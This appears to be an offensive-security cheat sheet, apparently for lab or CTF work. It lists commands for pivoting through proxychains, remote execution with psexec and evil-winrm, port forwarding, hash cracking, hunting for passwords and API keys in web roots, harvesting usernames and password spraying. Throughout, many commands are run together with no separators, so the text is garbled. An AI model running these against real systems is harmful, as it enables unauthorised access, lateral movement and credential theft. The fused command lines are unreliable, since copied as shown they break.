grep -vE '^#|^$' /etc/proxychains4.confecho 'socks5 127.0.0.1 1080' | sudo tee -a /etc/proxychains4.conf
use it

-q keeps the output readable. Slow — scan a port list, not a range

proxychains -q nmap -sT -Pn -n -p 21,22,80,139,445,1433,3389,5985 $IP2proxychains -q nxc smb $SUBNET -u $USER1 -p $PASS1proxychains -q impacket-psexec "$DOMAIN/$ADMINU:$ADMINP@$IP2"proxychains -q evil-winrm -i $IP2 -u $USER1 -p $PASS1proxychains -q xfreerdp /v:$IP2 /u:$USER1 /p:$PASS1 /cert:ignore

when none of those will run [3]

windows port forward, built in

netsh is on every windows box and needs admin. Open the firewall for the port or nothing reaches it

netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=$IP2netsh interface portproxy show allnetsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=8080netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0
socat
socat TCP-LISTEN:8080,fork,reuseaddr TCP:$IP2:80 &
python forwarder fwd.py ↗

dependency-free TCP forwarder — listens on 0.0.0.0:9898 and pipes to lport, for a box with no chisel and no ssh

python3 fwd.py -lport 8080python3 fwd.py -lhost 127.0.0.1 -lport 3306 -rport 13306

toolbox

not a phase — the things you reach for at every phase

cracking [5]

a kali VM has no GPU, so hashcat inside it is cpu only. Copy the hash file out and crack on the host, and keep to best64 — rockyou with a big rule set is hours either way

identify it first
hashid '<hash>'hash-identifier
hashcat modes worth remembering
# 0 md5   100 sha1   1400 sha256   1800 sha512crypt   500 md5crypt# 1000 NTLM   3000 LM   5600 NetNTLMv2   13100 kerberoast   18200 AS-REP# 22000 WPA   13400 keepass   17200 zip   10000 django   3200 bcrypthashcat -m 1000 hashes.md $ROCKYOUhashcat -m 1000 hashes.md $ROCKYOU -r /usr/share/hashcat/rules/best64.rule
john
john --wordlist=$ROCKYOU hashes.mdjohn --show hashes.md
turn a file into a hash
zip2john secret.zip > zip.hashkeepass2john db.kdbx > kdbx.hashssh2john id_rsa > key.hashpdf2john file.pdf > pdf.hashoffice2john doc.docx > office.hash
mutate a wordlist
hashcat --stdout $PASSLIST -r /usr/share/hashcat/rules/best64.rule > mutated.mdjohn --wordlist=$PASSLIST --rules --stdout > mutated.md

files & forensics [6]

what is this
file suspiciousexiftool suspiciousstrings -n 8 suspicious | lessxxd suspicious | head -40
hidden data
binwalk -e suspicioussteghide info image.jpgsteghide extract -sf image.jpgzsteg -a image.pngstegseek image.jpg $ROCKYOU
archives
7z l archive.7z7z x archive.7zunzip -o archive.zipfcrackzip -u -D -p $ROCKYOU archive.zip
pcap
tshark -r capture.pcap -q -z io.phstshark -r capture.pcap -Y http.request -T fields -e http.host -e http.request.uritcpflow -r capture.pcap
encodings you will hit
echo 'aGVsbG8=' | base64 -decho '68656c6c6f' | xxd -r -pecho 'uryyb' | tr 'A-Za-z' 'N-ZA-Mn-za-m'python3 -c "import urllib.parse,sys;print(urllib.parse.unquote(sys.argv[1]))" '%68i'
binaries
checksec --file=./binaryobjdump -d ./binary | lessltrace ./binary; strace ./binarygdb -q ./binary

text wrangling [11]

everything above spits out a wall of text. This is how you get the three fields you wanted out of it and into a file the next tool can read

cut — pull a field out

fastest thing that works when the delimiter is consistent. When it is not, reach for awk

cut -d: -f1 /etc/passwdcut -d: -f1,3,6 /etc/passwdcut -d, -f2 data.csvcut -c1-8 file.txtcut -d' ' -f2- file.txt
awk — pick a column, filter a row

whitespace-separated by default, so it copes with the ragged spacing every tool's output has

awk '{print $1}' access.logawk '{print $NF}' file.txtawk -F: '$3 >= 1000 {print $1}' /etc/passwdawk '/admin/ {print $1, $7}' access.logawk 'NR>1 {print}' with-header.csvawk '!seen[$0]++' file.txt
sed — edit the stream

-i writes in place. Leave it off until the output on screen is what you want

sed 's/old/new/g' file.txtsed -i 's/old/new/g' file.txtsed -n '5,10p' file.txtsed '/^#/d; /^$/d' config.confsed -n 's/.*NTLM:\(.*\)/\1/p' hashes.md
sort & uniq — dedupe and count

uniq only collapses adjacent lines, so it is always sort first

sort -u file.txt -o file.txtsort file.txt | uniq -c | sort -rn | head -20sort -t: -k3 -n /etc/passwdcomm -12 <(sort a.txt) <(sort b.txt)comm -23 <(sort a.txt) <(sort b.txt)
grep — find it, then extract it

-o with -E is the one to remember — it prints the match rather than the line it was on

grep -rn --include='*.php' -iE 'password|secret|api_key' /var/www 2>/dev/nullgrep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' file.txt | sort -ugrep -oE '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+' file.txt | sort -ugrep -oP '(?<=href=")[^"]+' page.html | sort -ugrep -v '^#' config.conf | grep -v '^$'
tr — case, strip, squeeze
tr 'A-Z' 'a-z' < file.txttr -d '\r' < windows.txt > unix.txttr -s ' ' < ragged.txttr ',' '\n' < list.csvtr -cd '[:print:]\n' < binary-ish.txt
build the user list

the pipeline you will run on nearly every AD box — scrape names from wherever, land them in $USERLIST, then spray

impacket-lookupsid guest@$IP -no-pass 10000 \  | grep SidTypeUser | cut -d'\' -f2 | cut -d' ' -f1 | sort -u > $USERLISTawk -F: '$3 >= 1000 && $7 !~ /nologin|false/ {print $1}' passwd.txt >> $USERLISTsort -u -o $USERLIST $USERLISTwc -l $USERLIST
full names into usernames

feed it "John Smith" per line and try each shape — you do not know the convention until one authenticates

awk '{print tolower(substr($1,1,1) $2)}' names.txt > u-jsmith.txtawk '{print tolower($1 "." $2)}' names.txt > u-john.smith.txtawk '{print tolower($1 substr($2,1,1))}' names.txt > u-johns.txtcat u-*.txt | sort -u >> $USERLIST
jq — JSON
curl -s http://$IP/api/users | jq .jq -r '.[].username' users.jsonjq -r '.users[] | "\(.name):\(.password)"' dump.jsonjq -r 'keys[]' dump.json
xargs — run it for every line

-P runs them in parallel. Keep it low against anything with a lockout policy

xargs -a $USERLIST -I{} nxc smb $IP -u {} -p '' --continue-on-successxargs -a hosts.txt -P 20 -I{} sh -c 'ping -c1 -W1 {} >/dev/null && echo {} up'find . -name '*.conf' -print0 | xargs -0 grep -il password
line it up so you can read it
column -t -s: /etc/passwdcolumn -t ragged.txtpaste -sd, ports.txtdiff <(sort before.txt) <(sort after.txt)